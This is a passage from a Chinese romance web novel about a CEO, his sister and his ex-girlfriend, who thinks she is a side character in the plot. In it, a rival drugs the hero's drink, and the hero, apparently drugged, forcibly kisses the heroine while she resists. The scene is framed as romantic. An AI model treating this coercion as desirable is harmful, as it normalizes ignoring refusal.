傅靳年:“......”
老爷子拍了拍他的肩膀,“看你们关系融洽,我就放心了。”
傅靳年淡淡瞥了一眼傅今棠:“看来你的耳背是精准遗传爷爷。”
他站起身,朝还愣着没反应过来的老爷子微微俯身点头表示礼仪,“晚上的工作推不了,下次再陪您。”
第七章 能让他求着见的人只有一个。
傅今棠咬牙,居然敢说她耳背,她声量都大了:
“我朋友还不是谁想见就能见的呢,追她的人上到事业有成的大佬,下到学业有成的男高,从A国排到M国,要不是你是我亲哥,我可不推给你,我要是男的我自己娶了,还用得着你,你不见你就等着后悔吧。”
傅靳年慢条斯理地将餐椅推进去,不疾不徐道:
“从A国排到M国,是指空气?你真想娶的话我支持你跟周衍离婚追求真爱,另外,我不会后悔,但你不仅耳背,还傻,又冲动,心智像三岁小孩,不敢信你居然能顺利从大学毕业,又顺利入职工作,妹妹,你气运不错。”
傅今棠气得脸涨红。
太侮辱人了!
她赶紧翻出手机里存的江迟鹿的美照,怼上去,“你别求着我见!”
结果对面的人眼神都没抬一下,转身就走了,“如果有我求你的那一天,我就不是你哥,我叫你姐。”
能让他求着见的人只有一个。
他语气淡然,不带一点情绪,却能把人气死。
傅今棠整个人瘫坐在椅子上,被气的脑仁疼,“爷爷!你看他!这是我哥吗!DNA肯定是假的!他还撺掇我离婚,肯定是想私吞财产!”
老爷子凑过去,到傅今棠耳边悄咪咪说:
“我问了,他晚上要去蓝心会所,你直接带着你那个漂亮得能闪瞎他的朋友过去不就行了。”
老爷子思想很开放,既然他真的那么不喜欢苏家那个女孩,那就换一个。
傅今棠介绍的人肯定不错。
这孩子从小就很上进,身边的朋友也上进。
傅今棠抱着爷爷:“啊啊!爷爷太好了我爱你。”
她拿起手机,换了一副话术给江迟鹿发消息。
-晚上礼哥在蓝心会所开party,去了就送LV,爱马仕,香奈儿的新款,衣服包包高跟鞋都有,你要不要去薅羊毛?
江迟鹿没有迟疑一秒。
-去!
傅今棠勾唇一笑。
哼,她一定会让她哥后悔的!
叫姐?到时候她要他跪着叫她姑奶奶!
傅靳年上了车,助理姜则发来消息。
-傅总,您让我查和江小姐一起长大的男朋友,我去江小姐居住的地方问了,根本没有和她一起长大的男孩,也没有比她大四岁的男朋友,但是我意外查出,小姐和江小姐是高中同学。
傅靳年眉头微蹙。
没有?难道她是装的,可是那条朋友圈的发布时间在两个月前,江迟鹿根本就不知道他回来了,不可能是假的。
“老板,现在去蓝心会所吗?”司机透过后视镜看后座的人。
他陷在车后座的真皮座椅里,背脊挺得笔直,姿态始终保持着高度的克制与规整,与他身上的禁欲感完美契合。
不知道在想什么事情,眼神流露出一抹愁闷。
他声音低沉,应了一声,“嗯,直接去蓝心会所。”
他没把江迟鹿跟傅今棠是高中同学当一回事,同学多了去了,傅今棠自己估计都不记得了。
蓝心会所三楼,vip包间。
江迟鹿跟着傅今棠推门进去。
包间里一群人聚在一起,人多却安静,只听一个人说话。
“那傅靳年到底从哪个石头底下蹦出来的?一来就夺走了我女神的芳心,我跟他势不两立,今天必须要夺回我女神,等会苏轻来了,你们都有眼力见点!”
被众人围在中间,金发粉色花衬衫的俊帅男人便是傅今棠口中的礼哥,全名周礼,家里是全球知名的跨国企业宏福,他作为家里最小的儿子,备受宠爱,妥妥的纨绔子弟,经常办这种纯吃喝玩乐发钱的奢侈派对。
也是剧情中对女主苏轻爱而不得孤独终生,被她这个虚荣女配攀附的那位富二代。
江迟鹿不知道到底是哪门子的剧情,周礼是经常对她说哥包养你,但这跟江迟鹿和傅今棠平时互相说姐包养你是一回事,朋友间开玩笑,两人实际上只是朋友关系。
不过要说攀附.....还真算得上。
两人刚走进去,周礼拎着两个c家的新款限量包,“看看,哥专门给你们留的闺蜜款!”
他给两人一手塞一个,说:“这个老贵了,而且保值,背两天腻了还能拿去换money,哥誓死守护,才守住这俩包,不然他们全给抱走了,你俩怎么来这么慢。”
看看,多么善解人意仁爱可亲的富二代。
她,穷鬼一个,对于周礼这种动不动办派对白送几大万十几万奢侈品的富二代,她拿人手短说两句好听的话当当小弟怎么了?
她敬佩清高的人,可惜她不是。
江迟鹿满脸的感动,将周礼从外貌到气质才华三百六十度螺旋式夸赞了一遍,好像全世界没有比他更优秀的人了。
周礼啧了一声,抬抬手,“小鹿,你真的是这个世界上最适合当我女朋友的人。”
傅今棠一拳梆过去,“得了,真给你夸飞了。”
几人哄笑,都没把那句话当回事,周礼是经常开这种玩笑的人。
傅今棠都已经跟经理打好招呼了,傅靳年要是来了,通知她一声。
到时候她带着闺蜜来个偶遇......
以她家鹿又纯又媚男神收割机般的惊天美貌,保准让傅靳年到时候心服口服叫她姑奶奶!
江迟鹿和傅今棠刚合唱完一首歌,门口传来动静。
两人动作一致看去,皆是一惊。
苏轻和凌语就站在门口。
在江迟鹿和傅今棠反应过来前,周礼走上前去把人给请了进来。
周礼这种从小被人捧着的公子哥在苏轻面前一下子成了小迷弟。
两人的关系一目了然。
傅今棠看到苏轻,下意识皱眉。
总觉得不是巧合。
对面的苏轻盯着两人看了一会儿,扬起一个笑容,“好巧。”
她指尖微微攥紧,看向江迟鹿的目光眸底带着探究。
江迟鹿不会是知道傅靳年回来所以故意跟来的吧。
不行,她绝对不能让她见到傅靳年。
苏轻身边的凌语瞥过去一眼,想说些什么,看到傅今棠在又闭上了嘴。
周礼顿住,“你们认识啊?那多好啊,大家都是朋友,一起玩。”
他全然不知道这几个女人之间有什么火花,拉着四个人一起玩牌。
第八章 ......说出你至今最后悔的一件事
江迟鹿坐在傅今棠身边,并没有参与。
她哪里敢玩,一没钱二没运三没技。
偏偏今天有人不要她好过,苏轻声音响起:“迟鹿,你怎么不玩啊?”
周礼盯着苏轻,总觉得她好像过于在意江迟鹿。
他扯唇一笑,解释道:“她啊,牌技烂得不行,不玩这些,我们玩就是了,让她在一旁看着玩消消乐吧。”
江迟鹿坐在傅今棠身边,手机里刚打开消消乐:“......一点面子不给我留啊。”
苏轻垂下眼,指尖摩挲着口袋里的卡,眸光一暗。
对于周礼这个追求者她压根没上心。
今天应邀不过是正好可以找个借口过来找傅靳年。
知道他是傅家的孩子后,苏轻本想靠着家里的关系定下两人的婚事,傅靳年却连跟她吃一顿饭都不愿意,她等不了了,既然没办法顺其自然,那就先......生米煮成熟饭。
但是看到周礼帮江迟鹿说话,心里又很不是滋味。
他喜欢的人不是自己吗?
为什么这么了解江迟鹿......
苏轻想了想,主动坐去了周礼身边,“周礼,我跟你一起玩,我牌技也差,你带带我。”
周礼金发下的眉毛轻挑:“行啊。”
大家玩了会儿,苏轻抬腕扫了眼表。
再过会儿傅靳年就要来了。
“迟鹿......”苏轻看向江迟鹿那边,“我下单给大家点了吃的,刚刚外卖员发消息过来找不到地方,你能不能帮忙去接一下?”
江迟鹿还没说话,傅今棠率先开口:“又不是什么偏僻旮旯,导航都不会用吗?”
苏轻干笑:“是我考虑不周了,只是刚刚想着大家都在一起玩牌,空闲的好像就只有迟鹿。”
她放下手里的牌,看向周礼:“那你们等等我,我去拿吧。”
周礼又怎么可能让她跑一趟,开口道:“我给经理打个电话,让他帮忙就好了,你玩你的。”
江迟鹿懒散坐在一旁,手肘压在膝上,撑着脸,盯着苏轻那张变化多样的脸,漫不经心笑。
是以为周礼会看在她的面上叫自己出去跑一趟?
但是计划落空,现在郁闷?
就因为自己以前和傅靳年谈过,她看自己不顺眼?所以针对自己?
周礼已经托付了经理,不需要任何人去。
江迟鹿却起身:“家里的狗还没喂,先回去了。”
她实在是不想和苏轻有过多牵连,惹不起,她躲得起。
傅今棠拉住她的手,“不行”
她语气果断,拉着江迟鹿坐下,抱着她:“我不能离开你,一秒也不行!”
傅今棠心里清楚,家里哪有狗啊,是江迟鹿要跑了!
苏轻这次来恐怕也是奔着傅靳年来的。
故意要支开江迟鹿?
呵呵,她不会给她这个机会的。
江迟鹿意识到事情不太对劲了。
她故意说家里有狗,是想着傅今棠能给她打掩护。
傅今棠为什么不想让她走?
“玩牌一点也不好玩,我们来玩真心话大冒险吧,迟鹿你陪我一起玩嘛。”傅今棠黏着江迟鹿,抱着她不让她走。
周礼也顺势开口:“行啊,就玩这个。”
周礼身边的兄弟们立马把桌面清扫换成了真心话大冒险的牌。
来前周礼就说了要撮合他和苏轻,大家这点眼力见还是有的。
江迟鹿也留了下来。
包间外。
傅靳年提前到了地方,接待他的是另一位副经理,还特意解释了一句:“我们经理突然有点事,周总在三楼等您,我带您上去。”
傅靳年随意点头。
两人上了三楼,在空荡长廊中,有一间包厢的门刚打开。
站在门口的正是副经理方才口中有点事的经理,这会儿提溜着一堆外卖进去。
包间里面的声音也不可避免地传了出来。
“选真心话还是大冒险啊江迟鹿。”
副经理感觉身边的人脚步缓停下来,空气仿佛都静几分。
他侧眼观察过去。
男人眉间微蹙,眸色深沉。
紧接着,脚步彻底停下来。
包间里传出一道清凌的女音,“嗯.....真心话吧。”
“真心话是......说出你至今最后悔的一件事。”
走廊外一片静默。
身旁的男人不动,连呼吸都压低了,副经理僵硬的站在旁边,也仿若冰雕。
那道女音再次响起:“最后悔......没搞清楚情况跟前男友上床了。”
要是再来一次,她绝对不跟傅靳年睡那一觉!
长廊上,副经理只感觉寒冬濒临。
怎么这么冷啊?
另一旁紧闭的包间门开了,周衍懒倦地靠在门口:“你俩在那当门神呢,我说怎么还没来。”
傅靳年走过去,脸色依旧冷沉。
周衍呦了声,“谁惹你了?这么大脸气,说来听听,我好请教请教对方。”
他一手压过去,被傅靳年无情地侧开。
副经理把人送到,客气两句帮两人关上了门。
周衍转眼就见傅靳年人跟被抽了魂似的,高大身躯陷进了软座,拎着茶几上的烈酒先灌了一口,闷了一整杯,酒杯在指尖摇摇欲坠。
他眉眼微怔,可没见过傅靳年这么颓靡的样子。
平常他也是能不沾酒就不沾酒的人。
“不是吧?这么萎。”周衍有些好奇:“不是都把那姑娘调到自己手底下了吗?还丧气什么?”
他给自己倒了杯酒,半拎着还没喝,就听到耳边克制压抑的嗓音发哑地说出一句:
“她......有男朋友。”
周衍微微顿住。
他抬眼看过去,眉宇眼梢都是惊讶,“有男人了啊。”
空气沉默。
他扯出一笑,拎着酒杯给他加上,“结婚了还能离呢,有个男朋友有什么了不起的?尤其现在这快餐恋爱时代,说不定就认识个把周,看对眼了就在一起了,哪比得上你们的感情。”
傅靳年幽幽抬眼:“他们青梅竹马。”
周衍:“......”
他轻咳一声,“人都慕强,有你这样的金玉在前,她很难妥协别人的。”
“她说最后悔的是跟我上床。”
“噗......”周衍差点一口酒喷出去。
第九章 那不就说明他根本还没放下江迟鹿吗。
周衍脸色惊奇,像是发现了傅靳年这尊神的弱点似的,“你.....不行啊?”
他眉眼上下扫量将傅靳年,“看不出来啊。”
被傅靳年冷眼一瞥,他微抿薄唇,眼尾笑了笑,“这方面兄弟就帮不上你了,我可是很行的。”
“凌晨一点到五点。比别人我不知道,比你肯定更行。”他一本正经地说完,懒散靠在软座,喉结滚动,仰头闷了口酒。
有服务员进来上酒,顺带给傅靳年倒了半杯递至手边,很快又出去。
周衍坐在一旁,硬生生愣了三秒才反应过来凌晨一点到五点是什么鬼。
他呵呵两声,“时间长了不起吗?技术差也是不行。”
傅靳年当真思考起这个问题来了。
毕竟那晚他是第一次。
可是回想她当时的情况,不像他技术差。
......后悔没搞清楚情况就跟他上床了。
是后悔他穷?
就跟录音里她说的一样。
可他现在有钱了,她又为什么对他避之不及。
想不明白。
傅靳年正要拿手边的酒杯,一顿,换了方向拿另一杯,整杯灌进口里,胸腔依旧酸闷难抑。
“行了别喝了,你今天都喝多少了,心情就这么差?我弟刚好在对面开pa,要不去玩玩?”
周衍皮鞋踢了一下他,“走,说不定能遇到个漂亮妹妹对眼缘,你就放下她了呢。”
傅靳年嗓音带着酒后的哑,“对面是你弟?”
周衍颔首,拎过帽架上的西装外套,说起自家那个弟弟来,一点不留情:“是啊,今天跟我支钱来着,败家玩意,整天吃喝玩乐没个正事,我都恨不得把自己塞回娘胎晚他出生,这样......我也用不着娶不喜欢的女人了吧。”
最后一句多少带了些惆怅。
傅靳年眸色扫过去:“你确定要在你老婆的哥哥面前说这些?”
周衍呵了声:“你们算哪门子兄妹,傅今棠可把你当仇敌呢。”
被冷冷盯了一眼,他才闭口,顿了一会,慢半拍反应过来,抬眸:
“等等,你怎么知道我时间的?傅今棠跟你说的?也不可能,你们关系差成那样。”
傅靳年:“有一次,凌晨一点给你发文件,你两点接收的。”
周衍:“艹,那天是意外,老子正常能干到太阳出来你信不信。”
傅靳年:“哦。”
“我说真的。”
“哦。我也没说不信。”
“......艹。”
门口一位服务员敲门,看着里面的两人,开口道:“傅先生,有人让我帮忙传话,还有一个东西要给你。”
他走进去,将手中一张墨色的卡递上去,“那位小姐跟我说让您去4018找她。”
傅靳年盯着那张卡,瞳孔微颤。
上面赫然还印着江迟鹿和他的名字。
这是......当初他和江迟鹿一起去动物救助站帮忙得到的午餐卡券。
她说这是两人的回忆纪念品,要保存好。
“去......4018。”
......
傅今棠手机响了一下。
经理发来的消息:
-刚刚给你们送外卖的时候傅总就已经来了,我刚好错过了,听副经理说了我才知道,不好意思傅小姐。
傅今棠有些无语,怎么今天老天专门跟她对着干!
找了个机会,她拉着江迟鹿赶紧出去,“陪我上厕所。”
却被凌语挡住,“游戏还没结束呢,你们去哪。”
“这里是土匪窝吗?本小姐上个厕所还要跟你报备?”傅今棠不管不顾拉着江迟鹿出去。
凌语咬牙,上前拉住两人,“江迟鹿不能走!我的胸针掉了,那可是拍卖的皇家蓝钻,这里最有嫌疑的人就是江迟鹿,你不能带走她。”
傅今棠往座位上扫了一眼。
果然,苏轻的位置已经空了。
周礼蹙眉上前:“凌语你说什么呢。你胸针掉了你怀疑江迟鹿做什么,说不定就掉地上了,我叫人帮你找。”
凌语:“我刚刚找了,没找到,玩游戏的时候江迟鹿从我身边路过了,离我那么近,我有理由怀疑她。”
傅今棠冷脸,“皇家蓝钻?江迟鹿要是想要老娘能送她一百个,你的东西垃圾都算不上!给我让开!”
江迟鹿被傅今棠拉了出去。
周礼挡住了想追出去的凌语,他态度也冷下去了:“今天我们就好好找你掉的胸针,看看到底掉在哪了。”
走廊上响起清脆的高跟鞋声。
江迟鹿盯着傅今棠的背影,“你突然拉我出来到底是做什么。”
傅今棠轻咳了一声,“我不是说了吗,陪我上厕所。”
“上厕所也不用这么着急吧?”
“当然急,人有三急!”
走到尽头的包间,却发现门是开的,里面是两个服务员正在打扫卫生。
“这里面的客人呢?”傅今棠问。
其中一位服务员抬头,“客人刚刚离开。”
“离开了?”
四楼,房号4018。
苏轻在门口来回踱步,眉间焦虑似愁。
他会来的吧......
如果他来了,那不就说明他根本还没放下江迟鹿吗。
不来的话,她今天的计划就落空了。
他喝的那杯酒里有药,现在应该快要发作了。
“叮铃——”
门铃响了。
她心脏一颤,几乎不能平复,深吸一口气,掌心都是汗水,开门前对着镜子整理了一下发丝衣领。
第十章 “上一次,我是第一次,这次会更好。”
江迟鹿被傅今棠推出电梯那一刻仍是懵的。
大脑来不及反应,眼前站着的两人,一高一低,正是傅靳年和苏轻。
苏轻脸色飘红,看起来羞涩单纯,而站在她前的男人垂着眼,那双好看的眼睛盯人十分深情。
她心脏一跳,眼眶有些酸涩,脚步下意识地往后退。
可电梯门已经关闭了,正在下楼。
她小声呼吸,不想发出声音惊动那边。
走廊很长,尽头对视的两人还没有发现她。
江迟鹿想偷偷从旁边的楼梯逃掉,刚迈出一步。
传来男人低沉熟悉的嗓音,“江迟鹿。”
她的名字从他嘴里念出来,说不出的好听,她还记得以前撒娇耍赖让傅靳年叫她宝宝,傅靳年很不习惯这种亲昵的称呼,怎么也叫不出口,往往是她那样叫他。
现在想来,可能只是因为她不是女主吧。
四楼是vip顾客的套房。
他和苏轻来四楼意味着什么她心里清楚。
她只想走,他叫她做什么呢。
难不成还要留她在外面听吗,死变态。
在那边远远看过来的眼神催促下,她一点一点走过去。
对面,傅靳年微微垂头,鸦黑睫毛半遮深沉的瞳孔。
他压低了声音,“不想我把你下药的证据交给警方,就自己滚。”
苏轻瞪大了瞳孔,害怕恐惧,“靳年......”
他懒懒勾唇,云淡风轻,“很惊讶?我该乖乖被你下药?”
苏轻耻着脸不甘心,“你还没看清江迟鹿吗,当初她因为你穷抛弃你......”
她声音越来越弱,被那双盯着她的幽深瞳孔逐渐吞碎,直至噤声。
江迟鹿离两人越来越近。
她清晰地看到傅靳年垂下的眼神深情抚过苏轻。
心里胡乱猜忌,总不能是要让她去买套吧?
可等她走近,苏轻红着眼眶横过她一眼,小高跟踩在地毯上没发出声音,与她擦肩而过。
空气寂静。
她视线落在苏轻身上,看着她进电梯。
完全没搞懂现在是个什么情况。
女主怎么走了?
手腕上突然传来温热干燥的触感,一只骨节分明的手紧紧握住她细腕。
她身形一滞。
他不抓女主,抓她干嘛?
缓缓回过头,方才还站得笔直挺立的男人,这会儿微弓着背脊,低垂的眼睫一颤一颤,透着股脆弱的感觉。
“你......”
“我......好像被下药了。”他嗓音低哑发沉,握着江迟鹿的手腕悄然拉近。
江迟鹿睁圆眼睛,嗓子费劲地挤出一个“啊?”
他像是站不住一样,高大的身形往江迟鹿身上扑,沉沉压在她的肩膀上,滚热的呼吸此起彼伏落在她脖颈。
她耸着肩膀,双手抵住他胸膛推开,“我,我去帮你叫苏轻。”
这苏轻不是暗恋他多少年了吗,怎么这种时候还跑了。
她刚转身,还没来得及撒腿跑,感觉手臂被人拉着,一股力拽着她进了旁边敞开门的房间。
房间里面光线昏暗,窗帘紧闭,只有大床旁的落地灯散发暗淡昏黄的光,营造出十分暧昧的氛围。
江迟鹿被抵在了门上,身上火热的躯体压得她喘不过气来。
似是惩罚一般,他牙齿咬在她耳垂上,有点轻微的肉疼。
“你以前真的只是对我逢场作戏?”他嗓音干涩清哑,带着质问,“你大度到能让别的女人跟我睡?”
浓烈的情绪几乎要淹没江迟鹿。
她懵茫抬头,眼前的人不再淡然冷静,他靠近她的面庞,因为怒意染上一层薄薄的红,额角青筋直跳,如墨似水的眸子沉得深不见底,几乎要吞没她。
她被盯得无措,心底动摇一丝波澜。
突然想起以前对傅靳年说的一句玩笑话,“我现在有了你这么帅的男朋友,要是哪天我们分手了,我以后找男朋友都不好找了。”
他当时也是这样一副表情,幽深沉沉盯着她,“你还想找谁?”
他占有欲极强,不允许她用分手开玩笑。
没和傅靳年在一起前,她的作息和三餐饮食都极其不规律不健康,好几次因为胃疼进医院。
和傅靳年在一起后,吃穿用度睡眠他都管着她。
她在宿舍睡不好,他就带她去最贵最好的酒店开了房,江迟鹿当时欣喜若狂,以为傅靳年终于忍不住要对她下手了。
没想到只是单纯的睡觉......
她爱吃零食,傅靳年就抽时间亲手给她做健康好吃的小零食。
复查时医生都说傅靳年就是老天专门派来治她的。
那时候,他在学校里是众人崇拜追捧的学神,学校论坛对他的评价都是可远观不可亵玩。
江迟鹿不仅亵玩了,还睡了。
只是没人知道。
她都以为两人真的是天生一对了。
可惜不是。
“我.....”
对上这样一双眼睛,江迟鹿差点没忍住把话说出来。
她并不是这样想的,只是老天爷逼她这样,谁让万事原来有命呢。
他并不属于她。
她只想把自己的生活过好,不想当他和苏轻感情里的那块垫脚石,何况,她一旦参与进去,结局已定,又有什么意思。
“傅总。”她深吸一口气,语气干脆果断,“我们已经分手了,我有男朋友,我们现在只是上下属关系,请你和我保持距离。”
“男朋友......呵,你跟他睡过吗。”
“傅总,这是我的隐私。而且,你现在更应该担心的身体情况吧。”她感觉手上的温度越来越热。
“我受不了别人碰你。”他手臂将她圈进怀里,闻着她身上淡淡的清香,声音再次落下,“我更受不了你让我去跟别人睡。”
他垂睫掩住眸中的猩红阴沉。
最好别让他找到江迟鹿那个男朋友是谁.....
他微微侧头,鼻尖轻轻蹭在她耳后,又和她鼻尖相抵呼吸相缠,嗓音清哑,“不是要钓金龟婿吗?”
江迟鹿不可置信望着他。
他薄唇轻轻阖动,声音沙哑性感,“钓我。”
简直.....男狐狸精来的。
她偏过头不看他,“你自己解决一下吧!”
“……我解决不好。”
他指腹摩挲着她腰间软肉,带着诱惑,在她耳畔吐息,“上一次,我是第一次,这次会更好。”
她来不及反应,温凉的一个吻强势落下,咬在她唇上,有些疼,他好像在生气什么一样,带着浓浓的不满。
第十一章 躲不掉
馥郁浓烈的气息充斥在她鼻腔,腰间有一只手死死桎梏着她。
手往前连推了几次,丝毫不动。
她紧闭着眼睛,牙齿用力咬住。
“嘶......”男人沙哑的声音在耳边响起。
呼吸一停,他缓缓松开她。
她抬头,眼睛雾漉漉。
盯着他唇瓣上渗出的血,别开了眼。
他眸色堪沉,敛下眼睫,声音低落,“就这么抗拒我?”
她一句话不说,垂下头。
空气宛若封存冰冻,寂静无声。
直到修长温凉的手指紧攥住她手腕,一道低哑的声音响起,“你走吧。”
她指尖蜷缩,丝毫没有犹豫,转身要走,那只手却没松。
她挣脱那只手,迈步继续出去。
并没有看到身后的男人盯着她的眸子有多沉。
门砰的一声关上。
江迟鹿心思如麻,乱糟糟的,一路游魂似的飘荡回去。
屋子里是亮的,傅今棠坐在沙发,拿着本书在看,眼睫毛颤啊颤,显然心思没在书上。
她换了鞋走过去,轻哼一声,“跑得真快啊。”
傅今棠丢了书抬头,笑着过去扶她,“怎么样?要不要考虑......”
她打断傅今棠,“不考虑。”
“不考虑?到底为什么啊?”
江迟鹿没说话,直接回了房间。
躺在床上,脑子里却一直闪过傅靳年说的那些话。
受不了别人碰她,更受不了她让他和别人睡。
这是一个男主该对女配说的话吗。
她手搭在额头上,有些无奈。
过了几分钟,狠狠拍了几下自己,“可千万不能上当。”
上当了就完了,天下男人这么多,找谁都行,就是不能找傅靳年。
他那样说,也不过是男人的占有欲,又或者,是在试探她。
第二天,江迟鹿上午请假,逃掉了需要跟傅靳年汇报的工作,下午又装作什么都没发生一样照常去上班。
一进公司,好几个同事围在一起往总监办公室看。
她走过去,问自己熟悉的同事小麦:“看什么呢?”
“有个大帅哥入职了,那颜值,简直可以跟咱们傅总不相上下,一下子公司来两个大帅哥,太爽了。”
小麦透过玻璃窗犯花痴。
江迟鹿目光扫过去,就看到了祁柏言正在和他们研发部总监交谈。
她如常回到自己的工位,没过多久,总监带着祁柏言出来跟大家隆重介绍。
介绍完后,总监目光巡逻一圈,看向江迟鹿,“小江,你带祁组长去傅总那吧,傅总有些事要和他商量,顺便带祁组长熟悉下地方。”
江迟鹿:......躲过了上午,老天爷在这等着她呢。
“好.....祁组长这边请。”她带着祁柏言进电梯上楼。
出去时,正好遇到从会议室出来的傅靳年和其他高层等人。
傅靳年目光极短地往她的方向落了一下,很快冷淡收回,看向祁柏言那边。
江迟鹿脸上装得平静,微笑着开口:“总监让我带祁组长过来。”
江迟鹿也保持着自己和祁柏言的关系,假装陌生,“祁组长,我在外面等你,待会带你熟悉公司。”
傅靳年语气淡然,狭长的眼尾往两人身上扫了一眼。
上次江迟鹿呆愣着看了祁柏言许久......
转头又想到祁柏言已经有女朋友,心底才放下那些龃龉。
他转身进办公室,祁柏言跟过去,进去前看了一眼江迟鹿,开口道:“你在旁边的休息区等我。”
江迟鹿点了点头,坐在休息区等。
大概过了二十分钟,祁柏言从里面出来。
她跟他对了一个眼神,就知道没有意外发生。
往外走时,祁柏言开口问:“傅总是有女朋友了吗?没看出来啊。”
她一顿:“啊?你怎么看出来的。”
“傅总嘴上像是被人咬伤的。”
“咳。啊,这样啊。”她顿感心虚往外一暼,“这我就不知道了。”
祁柏言目光略有深意,盯着她看了一眼,没说什么。
由于时间赶紧,晚上研发部门集体加班。
江迟鹿打着哈欠往食堂走,给傅今棠发了消息报备。
端着餐盘在食堂随意找了个位置坐下。
没过多久,祁柏言坐在了她对面。
她抬眼,秀致的眉毛蹙了蹙,“抱歉啊,上次麻烦你了。”
“装有女朋友,应该不难,好歹上过你的一个月速成班。”祁柏言眉眼清朗,玩笑的口吻说出两人之间的窘尬。
气氛反倒轻松不少。
而在食堂门口,一道修长身形正走过,脚步缓缓停下,目光朝里面看去。
员工食堂旁边是管理层的用餐点,傅靳年该去旁边用餐的。
但他余光扫到熟悉的身影时,几乎是下意识地停了下来。
视野里,那个见他跟见老虎一样躲避不及的江迟鹿这会儿俏笑嫣然地跟另一个男人不知道聊着什么。
冷冽的眉眼一蹙,修长挺拔的身影已经进去。
江迟鹿一抬眼,看到了同样端着员工餐盘往自己这边走来的傅靳年。
她一顿,一时手都不知道往哪放。
不是吧?
他不去吃专用厨师的高级料理,往食堂跑干嘛。
她小心垂着眼,咬着勺子,余光瞥见身侧一道黑沉影子落下。
“傅总。”祁柏言率先打了招呼。
傅靳年点头,极其自然坐到江迟鹿身边的位置,正对面前的祁柏言,“递交过来的初步方案我看了,很不错,辛苦了。”
江迟鹿听到他聊工作,反而松了口气。
看来是冲着祁柏言来的,之前还亲口夸过祁柏言能力很不错,想来是很欣赏他的。
但是,坐她旁边干嘛啊。
江迟鹿不知道他到底用的什么香水,味道很明显,像雪地里的松柏,木质调的,有点好闻。
让她想到了一年前的晚上.....
她先挑的火,头抵住他胸膛,抓着他腰上皮带,解了会儿没解开还恼了。
后面是被他的手带着解开的,卡扣沉闷的响声,像一道激烈的信号。
他半捧她的脸,俯身亲她时,带起一阵轻风拂过面颊,夹杂着套房的香薰味和他身上的清冽气息。
她同他接吻,细指攥皱他的白衬衫,气息凌乱,心跳急促。
昏暗暧昧的光线里,他直挺的鼻尖擦过她耳后,呼吸滚热,温凉的唇瓣轻蹭她,问她是不是真的决定在这。
江迟鹿看他第一眼就想睡他,对于这个问题,她直接给出了答案。
果断揽住他脖颈,踮脚亲在他喉结。
雨滴拍打着玻璃,她累得意识渐渐虚脱,被他紧紧抱着,清楚地感受到他指尖滑过她背脊,停留在腰窝,他好像很喜欢那个地方,还亲了。
夜好长,他好久。
第十二章 你们似乎.....很熟啊。
“我还以为祁组长需要时间适应,没想到第一天就和我们的团队融合好了,不过怎么你们两个单独吃?其他人呢?”傅靳年似是不经意提了一句。
听到耳边磁沉的嗓音,江迟鹿将脸埋得更低,几乎要塞进米饭里。
祁柏言含笑,“我和小江接触下来,性格相合,中午正好碰上,就一起吃了。”
傅靳年斜眼往旁一睨。
看她没出息地脸红埋着头。
他抿了下薄唇,心闷,她是忘记祁柏言有女朋友了吗。
他不介意提醒提醒她。
“上次谈话祁组长的女朋友不放心来查岗,看来祁组长女朋友很不放心你啊。”他嗓音不咸不淡,意有所指。
“这,还好。”祁柏言漆黑的瞳仁扫过江迟鹿,轻笑,“她就是比较粘人,毕竟比我小几岁,还跟小朋友一样。”
傅靳年听到小几岁,突然想起江迟鹿说的。
她男朋友也比她小几岁。
脑子里有个想法一闪而过。
很快被傅靳年摒弃。
怎么可能,两人是因为工作关系,才认识不到两天。
巧合罢了。
“傅总谈恋爱吗?”祁柏言突然问了一句,他笑:“傅总似乎对我的恋爱关系有点好奇。”
他问完,空气静默了三秒。
再抬眼看他,见他低垂着眼睫,冷笑呢喃:“谈,只不过......不像你和你女朋友关系好,她恐怕当我是老虎。”
江迟鹿和祁柏言都惊,同时看过去。
祁柏言没想过他这看着不近人情也不近女色的样,居然真有女朋友。
江迟鹿疑惑他怎么说和苏轻关系不好。
还有......当老虎看是什么鬼?
祁柏言惊讶问道:“怎么会当你是老虎,是不是哪里惹到人了?”
“祁组长和女朋友有关系不好的时候吗?”傅靳年目光垂扫过去,瞳仁里带着认真,像是认真在请教。
祁柏言轻咳了一声,目光在下意识要扫过江迟鹿前兀自垂下。
“偶尔有吧,人和人相处,哪能十全十美,不过.....她比较好哄,买她喜欢的东西她就开心。”
傅靳年懒懒扫过旁边鸵鸟似的缩头乌龟,轻呵,“真巧,我女朋友也是。”
他身形往后靠了靠,长腿交叠,声音似笑非笑,“江迟鹿,聊聊你男朋友啊,你要是生气了,他怎么哄你?”
江迟鹿突然被点名,干笑了两下。
“嗯......我脾气好,不生气。”她垂着眼睛说。
傅靳年眉梢轻轻挑了一下,漫不经心盯着她,那眼神,就差把字写在瞳孔上了,他肯定是不相信的。
曾经有一次,傅靳年帮江迟鹿做PPT的时候,江迟鹿的消息框刚好跳出来一位同学的表白。
一大篇小作文,上面写江迟鹿优秀自律又上进,温柔善良又可爱。
平时都是江迟鹿吃傅靳年的醋,她还挺期待傅靳年吃自己的醋的。
而他顺手将那条消息叉下去,慢悠悠开口:“看得出来,他很不了解你。还是你平时会扮演另一个人格?”
这话差点给江迟鹿气得吐血。
什么叫她平时会扮演另一个人格。
这货说点好听的话可真难啊。
不过一想,自己那脾气傅靳年能忍,那是真爱了。
“他说的这些优点我也有好不好。”她不甘。
“自律?是指一日三餐都在下午和晚上,半夜三四点不睡觉?”
“那温柔.......”
“温柔?网络上和人对骂几百条,把对方气得销号?”
“......可爱总有吧。”她眼睛眨巴眨巴,盯着他,凑近,“嗯?没有吗?”
傅靳年偏过头不理她继续做表了。
她脾气真说不上好,生气上头了路过只狗都得被她骂两句。
“我男朋友平时样样都好,我不生气,自然用不着他哄。”江迟鹿说完,往嘴里塞了一口饭。
祁柏言抬眼,扫了她一眼,又看向旁边的傅靳年。
总觉得气氛怪异,这是为什么呢。
江迟鹿觉得坐在这吃饭真煎熬,她站起身,“我吃好了,你们慢慢吃。”
从起身离开开始,江迟鹿就能感觉到背后有一道胶着的目光在盯着自己看。
从走廊出去时,江迟鹿听到一批员工在讨论傅靳年。
“没想到傅总居然有女朋友了。”
“是啊,看着那么冷一个人,眼里没有对女人的欲望,只有对工作的入迷,我还以为是禁欲工作狂,啧。”
“真好奇啊,到底何方神圣,能收了傅总,还敢把傅总嘴咬成那样。”
江迟鹿听到这句,才反应过来,原来他们是因为傅靳年唇上的结痂怀疑......
那他们怀疑的这位女朋友不就是自己吗?
这话要是传到傅靳年那去,指不定他以为自己宣传的呢!
“咳咳。”江迟鹿走过去,“说不定是傅总自己不小心咬到的。”
